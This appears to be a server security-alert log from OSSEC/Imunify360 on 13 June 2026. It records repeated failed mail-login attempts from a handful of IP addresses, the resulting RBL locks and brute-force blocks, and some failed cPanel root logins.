rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:30:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:41782: 535 Incorrect authentication data (set_id=gms@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:30:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:30:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:30:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:28040: 535 Incorrect authentication data (set_id=davinci@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:30:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49576: 535 Incorrect authentication data (set_id=wangyan@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:31:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:31:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:31:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:33350: 535 Incorrect authentication data (set_id=ltc@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:31:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:31:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:31:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:31:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:19486: 535 Incorrect authentication data (set_id=zoom@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:31:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:40944: 535 Incorrect authentication data (set_id=bitrix@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:31:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:19730: 535 Incorrect authentication data (set_id=spamassassin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:31:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:31:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:3604: 535 Incorrect authentication data (set_id=albums@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:31:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:37338: 535 Incorrect authentication data (set_id=spamassassin@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:31:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:48074: 535 Incorrect authentication data (set_id=test00test00@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:32:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:13886: 535 Incorrect authentication data (set_id=saar@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:32:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:32:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:32:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:11728: 535 Incorrect authentication data (set_id=sin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:32:34 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:32:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:7188: 535 Incorrect authentication data (set_id=pie@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:32:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:39550: 535 Incorrect authentication data (set_id=asad@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:32:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:32:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:43758: 535 Incorrect authentication data (set_id=stephanie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:32:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:32:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:22684: 535 Incorrect authentication data (set_id=lcadmin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:32:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:33:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:33:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:30610: 535 Incorrect authentication data (set_id=contracts@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:33:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:63336: 535 Incorrect authentication data (set_id=matsushima@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:33:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:33:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:5220: 535 Incorrect authentication data (set_id=anny@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [13/Jun/2026:07:33:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855064&pdata=https%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336026 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:33:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:33:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:33:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:33:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:33:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:14442: 535 Incorrect authentication data (set_id=hardrock@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:07:33:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7249047&pdata=https%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336020 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:33:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:35580: 535 Incorrect authentication data (set_id=d@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:33:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:51748: 535 Incorrect authentication data (set_id=hardrock@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:33:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:21412: 535 Incorrect authentication data (set_id=jackie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:34:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:34:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:43536: 535 Incorrect authentication data (set_id=generator@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:34:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50092: 535 Incorrect authentication data (set_id=B'Trey@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:34:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:59164: 535 Incorrect authentication data (set_id=br@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:34:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:34:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:21708: 535 Incorrect authentication data (set_id=cs@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:34:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:13374: 535 Incorrect authentication data (set_id=janus@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:34:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:34:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:34:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:34:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:55070: 535 Incorrect authentication data (set_id=danica@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:34:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:35:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:41308: 535 Incorrect authentication data (set_id=helpdesk2@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:35:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:54868: 535 Incorrect authentication data (set_id=jeffery@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:35:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:35:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:5388: 535 Incorrect authentication data (set_id=plazma@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:35:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.43
country_id: 6252001
description:
205.169.39.43 - - [13/Jun/2026:07:35:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134489&pdata=https%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781336143 HTTP/2.0" 302 0 in.crepsad.tg "https://in.crepsad.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.43


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:35:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:12468: 535 Incorrect authentication data (set_id=mira@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:35:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:35:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:35:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:35:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:35324: 535 Incorrect authentication data (set_id=cadastro@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:35:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:10844: 535 Incorrect authentication data (set_id=family@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:35:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:35:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:8018: 535 Incorrect authentication data (set_id=nsa@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:36:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:3566: 535 Incorrect authentication data (set_id=forschung@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:36:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:36:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:46584: 535 Incorrect authentication data (set_id=o@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:36:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:62002: 535 Incorrect authentication data (set_id=bilder@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:36:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:36:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:36:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:36:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:2094: 535 Incorrect authentication data (set_id=888@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:36:38 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:36:40 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:26976: 535 Incorrect authentication data (set_id=sandeep@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.105
country_id: 1643084
description:
[2026-06-13 07:37:15 +0000] info [whostmgrd] 185.213.83.105 - - "GET /openid_connect/cpanelid HTTP/1.1" FAILED LOGIN whostmgrd: openid connect: 'whostmgrd' provider 'cpanelid' encountered an error: (XID jwa8ke) The [asis,OpenID Connect] provider “cPanelID” is disabled on the service “whostmgrd”.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:36:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:32830: 535 Incorrect authentication data (set_id=legacy@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:36:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:37:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:53918: 535 Incorrect authentication data (set_id=mijn@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:37:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:18632: 535 Incorrect authentication data (set_id=mechanik@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:37:34 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:37:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:37:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:59218: 535 Incorrect authentication data (set_id=basil@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:37:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:37:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:28694: 535 Incorrect authentication data (set_id=spi@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:37:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:38258: 535 Incorrect authentication data (set_id=ms@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.105
country_id: 1643084
description:
[2026-06-13 07:37:18 +0000] info [whostmgrd] 185.213.83.105 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:37:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 185.213.83.105
country_id: 1643084
description:
[2026-06-13 07:37:21 +0000] info [whostmgrd] 185.213.83.105 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:37:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:37:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:57898: 535 Incorrect authentication data (set_id=enable@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:37:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:37:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:24300: 535 Incorrect authentication data (set_id=jwkim@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:38:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:15978: 535 Incorrect authentication data (set_id=facebook@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:38:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:38:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:3152: 535 Incorrect authentication data (set_id=michaela@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:38:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49170: 535 Incorrect authentication data (set_id=anci@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:38:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:38:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:38:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


